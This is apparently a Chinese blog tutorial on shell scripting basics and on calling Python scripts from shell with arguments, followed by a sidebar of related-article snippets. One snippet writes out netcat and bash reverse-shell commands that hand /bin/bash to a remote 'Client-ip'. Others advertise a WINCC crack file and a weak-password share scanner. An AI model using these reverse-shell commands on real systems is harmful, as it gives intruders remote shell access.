Shell 小结和实操记录(shell与Python交互使用)

通过shell脚本执行python程序并进行多次命令行传参 因为该开源工程代码只能指定到.jpg .png等视频帧的当前目录,而我们需要提取光流的视频帧在多级目录下,需要进行目录的遍历,所以写了该shell脚本方便多个目录下视频帧的光流提取。该shell代码包含了读取当前目录所有文件判断文件名称是否为数字和判断路径是否存在三个功能。 阅读详情

1. shell 脚本语言

首行指定解释器:#!/bin/bash

特殊字符的含义

shell 控制流

if 循环

if condition1
then
    command1
elif condition2 
then 
    command2
else
    commandN
fi

附:
1、如果else分支没有语句执行,就不要写这个else
2、末尾的fi就是if倒过来拼写,后面还会遇到类似的

写成一行(适用于终端命令提示符):if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi

例子:

#!/bin/bash
a=1
b=2
if [[ $1==a && $2==b ]]
then
    echo 'This a test shell script.'
else
    echo 'Please give some paras.'

fi

输出:

This a test shell script.

for 循环

for var in item1 item2 ... itemN
do
    command1
    command2
    ...
    commandN
done

写成一行:for var in item1 item2 ... itemN; do command1; command2… done;

注:in列表是可选的,如果不用它,for循环使用命令行的位置参数,比如:

for loop in 1 2 3 4 5
do
    echo "The value is: $loop"
done

输出:

The value is: 1
The value is: 2
The value is: 3
The value is: 4
The value is: 5

while 语句

while condition
do
    command
done

2. 实操

2.1 shell基本用法

新建shell脚本文件:vim test.sh

注意,新建shell文件之后,需要:

  • 赋予脚本执行权限:chmod +x ./test.sh
  • 首行需要指定编辑器:#!/bin/bash

运行 shell:./test.sh

步骤:(注意shell脚本中第一行代码要指定编辑器)

  • 在终端 cd 到相应目录

  • 使.sh脚本具有执行权限:chmod +x ./test.sh

  • 在终端执行脚本:./test.sh

注意,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样,直接写 test.sh,linux 系统会去 PATH 里寻找有没有叫 test.sh 的,而只有 /bin, /sbin, /usr/bin,/usr/sbin 等在 PATH 里,你的当前目录通常不在 PATH 里,所以写成 test.sh 是会找不到命令的,要用 ./test.sh 告诉系统说,就在当前目录找。

附:
chmod +x 的意思是(Linux下)将文件由普通文件(灰色)变为可执行文件(绿色);
chmod -x 的含义相反!

#!/bin/bash

echo 'This a test shell script.'

在这里插入图片描述

传递参数

#!/bin/bash
  
echo $0
echo $1
echo $2
echo 'This a test shell script.'
  • 不传递
    在这里插入图片描述

  • 传递$0、$1和$2(即执行的文件名、第1个参数和第2个参数)

    在这里插入图片描述
    (这里多输入了一个参数!)

小结:
1、脚本内获取参数的格式为:$n。n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推……
2、其它

$# 	传递到脚本的参数个数
$* 	以一个单字符串显示所有向脚本传递的参数。
如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。
$$ 	脚本运行的当前进程ID号
$! 	后台运行的最后一个进程的ID号
$@ 	与$*相同,但是使用时加引号,并在引号中返回每个参数。
如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。
$- 	显示Shell使用的当前选项,与set命令功能相同。
$? 	显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。

2.2 实际应用(Python和shell交互使用)

2.2.1 shell 脚本运行Python文件:直接在shell脚本中写入 ./xxx.py

具体步骤:

  • 保证python脚本文件中已经指定了解释器:#!/Users/robin/software/anaconda3/bin/python(根据自己的来——可以使用which python确定)

    如果在linux系统上出现类似import: unable to open X server‘ @
    error/import.c/ImportImageCommand/364.的报错,可以使用#!/usr/bin/env
    python3,`详细可以查看:在shell中执行Python脚本出错

  • 使.py脚本具有执行权限: chmod +x python_test.py

  • 运行脚本:./python_test.py

其实最后一步里,像在命令行上运行一样加上python也是可以的:python ./python_test.py

附代码:

  • python_test.py
#!/Users/robin/software/anaconda3/bin/python
  
for i in range(4):
    print(i)

print('This is a test for python script')
  • test.sh
#!/bin/bash
  
./python_test.py

结果:
在这里插入图片描述

2.2.2 命令行运行Python文件:python xxx.py

这个直接在命令行运行 pyhon xxx.py 即可!
(先确保该Python脚本是可执行文件)

结果:
在这里插入图片描述

2.2.3 命令行运行带参数的Python脚本:xxx.py arg1 arg2 …

有几种方法可以实现:sys.argv 模块、argparse 模块和第三方的 click 模块等。

以下使用sys.argv 模块,执行系统为Mac OS。

#!/Users/robin/software/anaconda3/bin/python
  
import sys

def python_argument():
    args = sys.argv
    n = 1
    for i in args:
        print('The NO.{} arg is {}'.format(n,i))
        n += 1

python_argument()

print('Well done!')

命令行执行及结果:
在这里插入图片描述

2.2.4 shell脚本运行带参数的Python脚本:./xxx.py arg1 arg2 arg3 …

这个只需要 Python脚本内调用好sys.argv 等模块,使用上面的方法就可以了!

2.2.5 Python调用shell脚本

有三种方法可以实现:os.system方法、os.popen方法和subprocess模块,这里主要讲os.system方法,更多可以参考:正确的使用python调用shell的姿势

感觉使用起来并没有多方便,暂时放弃!

主要参考:

  1. 菜鸟Shell 教程
  2. 编写shell脚本运行python文件
  3. 使用模块
  4. 正确的使用python调用shell的姿势
在Shell中编写和执行Python代码 在Shell中编写和执行Python代码是一种方便快捷的方法,可以用于脚本编写和快速测试。通过创建一个Python脚本文件,并使用Python解释器执行它,我们可以轻松地在Shell中执行Python代码并查看结果。在Shell中,我们可以使用Python来编写和执行代码,这为我们提供了一种方便的方式来进行快速的脚本编写和测试。在开始编写Python代码之前,我们需要确保已经在计算机上安装了Python解释器。这证明我们成功地在Shell中执行了Python代码,并得到了预期的结果。为扩展名的文件,比如。 阅读详情

相关推荐

使用Python来执行Shell脚本

Shell脚本可以在Linux系统下用于自动化执行一些命令或者程序,而Python可以很好地与Shell脚本进行交互,可以方便地通过Python脚本来执行Shell脚本。该脚本会输出"Hello World"。无论你使用哪种方法,它们都能够很好地与Shell脚本进行交互,并且可以帮助你自动化执行一些命令和程序。函数可以执行任意的Shell命令。在这个例子中,它执行了名为。使用Python来执行Shell脚本。

qq_37934722的博客 2129

交互式shell

交互式shell

st3pby的博客 4857

跨境TRS投资操作指南与系统解决方案

3 点击【申请 TRS 账户】,查看风险披露,录入账户参数、确定录入的参数信息,进行身份验证,输入验证码,TRS 账户开户申请已提交,后台对已提交的 TRS 开户申请进行审核,审核成功后,短信邮箱提醒,进行登录;2.点击【申请TRS账户】,查看风险披露,录入账户参数、确定录入的参数信息,进行身份验证,输入验证码,TRS账户开户申请已提交,后台对已提交的TRS开户申请进行审核,审核成功后,短信邮箱提醒,进行登录;4)更广泛的投资选择:相比A股通,TRS可以交易更多的A股标的,提供了更广泛的投资选择。

2401_85487119的博客 2848

python操作adb详解_Python之使用adb shell命令启动应用的方法详解

Python之使用adb shell命令启动应用的方法详解发布时间:2020-08-27 00:21:46来源:脚本之家阅读:70作者:只为向上一直有一个心愿希望可以用Python做安卓自动化功能测试,在一步步摸索中,之前是用monkeyrunner,但是发现对于控件ID的使用非常具有局限性,尤其是ID的内容不便于区分具有重复性时,后面又发现Uiautomator可以对resorceId、text...

weixin_35367645的博客 895

VMware + ubuntu20.04 + qemu安装

遇到报错可参考:(从ubuntu裸系统开始安装)

NosONE 3230

高通Camera IFE时钟配置

高通Camera IFE时钟配置中的minHorizontalBlanking和minVerticalBlanking配置计算方法

一个懒癌的驱动工程师的随笔分享 6167

【python】Python与shell的交互

一,shell调用python shell调用python是比较简单的,直接在.sh脚本中输入执行命令即可,跟在linux环境下没有什么两样: 加上“python”是具有软连接的; python filename.py 二,Python调用shell Python根据版本的不同需要使用不同的Python库,Python2的话是使用"commands"的库,执行起来非常简单: exe...

小屋 2941

TCN(Temporal Convolutional Networks)时序卷积网络详解及代码

TCN(Temporal Convolutional Networks)时序卷积网络详解及代码

zhulewen的博客 7883

python与shell交互_Python与Shell脚本的交互

考虑这样一个问题,有hello.py脚本,输出”hello, world!”;有TestInput.py脚本,等待用户输入,然后打印用户输入的数据。那么,怎么样把hello.py输出内容发送给TestInput.py,最后TestInput.py打印接收到的”hello, world!”。下面来逐步讲解一下shell的交互方式。hello.py代码如下:#!/usr/bin/pythonprint...

weixin_30495789的博客 718

RK3588上rknn_toolkit_lite2报错解决:手把手教你更新librknnrt.so的正确姿势

本文针对在RK3588平台上使用rknn_toolkit_lite2时遇到的“Invalid RKNN model version”等常见错误,提供了完整的诊断与解决方案。文章深入剖析了RKNN生态系统各组件(如librknnrt.so、RKNN Server)版本不兼容的根源,并手把手指导如何安全、正确地更新librknnrt.so运行时库,确保AI模型在RK3588 NPU上实现高效推理。

weixin_29189003的博客 520

ANSYS APDL齿轮建模实战:从渐开线方程到完整3D模型的保姆级教程

本文详细介绍了使用ANSYS APDL进行齿轮建模的全过程,从渐开线方程的数学基础到完整3D模型的创建。通过参数化命令流实现高精度齿轮建模,特别适合机械设计和仿真分析需求。教程包含关键参数计算、APDL环境配置、单齿齿廓建模以及全齿轮阵列复制等实用技巧,帮助工程师快速掌握ANSYS APDL在齿轮建模中的应用。

lg888的博客 446

python与shell脚本交互,Python脚本和linux shell之间的交互

I have a Python script that needs to interact with the user via the command line, while logging whatever is output.I currently have this:# lots of codepopen = subprocess.Popen(args,shell=True,stdin=sy...

weixin_29375669的博客 255

密评实战:应用层数据安全防护全解析

本文从实战角度深度解析三级信息系统密评中应用层数据安全防护的核心要点。围绕身份鉴别、访问控制、数据传输与存储安全、不可否认性等关键环节,结合国密算法(SM2/SM3/SM4)与智能密码钥匙等合规技术,提供了从代码审查、日志分析到流量验证的全链路排查方法,助力构建真正符合密评标准的数据安全防线。

weixin_29291185的博客 460

python与shell脚本交互_ShellPy:Python和Shell交互工具

ShellPy 是一款Python和Shell的交互工具。一般来说,我们会通过Subprocess、Popen或者Command模块执行一条Shell命令或脚本,然后通过返回的标准输出和错误输出来得到结果,这个可行但不直观。ShellPy直观的解决了这一问题。shellpy的主体是Python,总体的编码和Python是一样的,想要嵌入Shell命令的时候,在命令前面加一个 ` (Tab上面那个键...

weixin_39853843的博客 268

059、RealBasicVSR 实战:真实场景视频超分的退化建模与优化技巧

本文分享了RealBasicVSR在真实场景视频超分中的实战经验。针对传统方法假设理想化下采样导致的性能瓶颈,重点阐述了三个关键技术点:1)通过可学习退化编码器建模复杂未知退化过程,避免手动设计退化参数的局限;2)采用双向传播和DCN对齐增强时序一致性;3)组合多种损失函数并优化训练策略(如余弦退火学习率、随机退化增强)。作者结合项目实践指出了显存管理、训练时长、评估指标等常见问题,并给出实用建议:优先验证数据退化复杂度,重视数据预处理,合理调整超参数。文章强调真实场景视频超分的核心在于让模型自适应未知退化

ai技术增长的博客 180

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

shell脚本与Python的交互

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34273481的博客 1052

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

python交互式shell_shell脚本与Python的交互

1、Python针对shell获取传入,输出参数传入:"$num"例如: $0表示文件名,$1表示shell获取的第一个参数输出:通过打印shell结果的方式,输出参数给Python。例如: echo "{$iplist}",Python调用执行shell的方法即可获取结果。2、获取切换用户后加载shell环境执行Python命令的结果。比如我登录号是root权限,现在加载的shell环境需要te...

weixin_39610722的博客 823

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

python反弹shell_反弹Shell小结

1、NC反弹shell1.1、正向反弹shell服务器nc -lvvp 7777 -e /bin/bash攻击机nc server-ip 77771.2、反向反弹shell攻击机nc -lvvp 7777服务器nc -e /bin/bash Client-ip 77771.3、不带-e反弹:2、 bash反弹shell2.1 bash -i攻击机nc -lvvp 7777服务器bash -i &...

weixin_34979632的博客 7012

如何使用交互shell来增强你的Python?

前言 Python编程语言已经成为其中最流行的语言之一。成功的一个原因是它可以用来解决各种问题。从网站开发到数据科学,从机器学习到任务自动化,python生态系统拥有丰富的框架和库。本文将介绍Fedora包集合中提供的一些有用的python shell,以简化开发。 Python Shell Python Shell 让你以交互模式使用解释器。这在测试代码或尝试新库时非常有用。在 Fedora 中...

qq_39363022的博客 170

python ssh shell交互_使用Paramiko在Python上用ssh实现交互式shell?

我想编写一个程序(在Windows 7上的Python 3.x中),它通过ssh在远程shell上执行多个命令.在查看paramikos的exec_command()函数之后,我意识到它不适合我的用例(因为在执行命令后通道被关闭),因为命令依赖于环境变量(由先前的命令设置)并且不能连接到一个exec_command()调用,因为它们将在程序中的不同时间执行.因此,我想在同一个通道中执行命令.我研究...

weixin_39928461的博客 618

shell脚本和python脚本_Python与Shell脚本的交互

考虑这样一个问题,有hello.py脚本,输出”hello, world!”;有TestInput.py脚本,等待用户输入,然后打印用户输入的数据。那么,怎么样把hello.py输出内容发送给TestInput.py,最后TestInput.py打印接收到的”hello, world!”。下面来逐步讲解一下shell的交互方式。hello.py代码如下:#!/usr/bin/pythonprint...

weixin_35599815的博客 822

python制作系统程序与html交互_举例讲解Python程序与系统shell交互的方式

python和shell的区别有好多人和我说python语言多用于linux,shell用于unix,可是我公司是做j2eshell 应该属于宏语言,顾名思义是系统的壳,方便与系统交互的在以下情况下,不使用shell,因为shell对此无能为力;如:跨平台,较复杂数学操作(如浮点运算,精确运算等),图形化界面 GUI,I/O 或socket 接口,多维数组,对效率要CSS布局HTML小编今天和大家...

weixin_39600885的博客 412

python实现shell交互_Python与shell的3种交互方式介绍

概述考虑这样一个问题,有hello.py脚本,输出”hello, world!”;有TestInput.py脚本,等待用户输入,然后打印用户输入的数据。那么,怎么样把hello.py输出内容发送给TestInput.py,最后TestInput.py打印接收到的”hello, world!”。下面我来逐步讲解一下shell的交互方式。hello.py代码如下:代码如下:#!/usr/bin/pyt...

weixin_39688378的博客 1590

python脚本与shell脚本速度对比_怎么理解Python与Shell脚本的交互

怎么理解Python与Shell脚本的交互发布时间:2020-08-25 10:12:22来源:亿速云阅读:73作者:Leah怎么理解Python与Shell脚本的交互?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。考虑这样一个问题,有hello.py脚本,输出”hello, world!”;有TestInput.py脚...

weixin_28893597的博客 289

python代替shell脚本_Python与Shell脚本的交互

考虑这样一个问题,有hello.py脚本,输出”hello, world!”;有TestInput.py脚本,等待用户输入,然后打印用户输入的数据。那么,怎么样把hello.py输出内容发送给TestInput.py,最后TestInput.py打印接收到的”hello, world!”。下面来逐步讲解一下shell的交互方式。hello.py代码如下:#!/usr/bin/pythonprint...

weixin_39668479的博客 163

Python和Shell交互

其实并不是不喜欢Shell的基本命令,只是对于一个面向C的人来说,很难快速适应Shell脚本语法(尤其是for,if..) 其实python调用系统命令的方法和C类似(C也是system,记得以前在Dev中经常使用system("pause")来解决闪退) os.system('cat /proc/cpuinfo') 但是这样是无法获得到输出和返回值的,此时可以使用 os.popen()

Javis486的专栏 1万+
上一篇: shell脚本报错:[: missing `]‘
下一篇: Shell脚本报错:command not found
Robin_Pi
博客等级 码龄9年 2万+粉丝 632原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值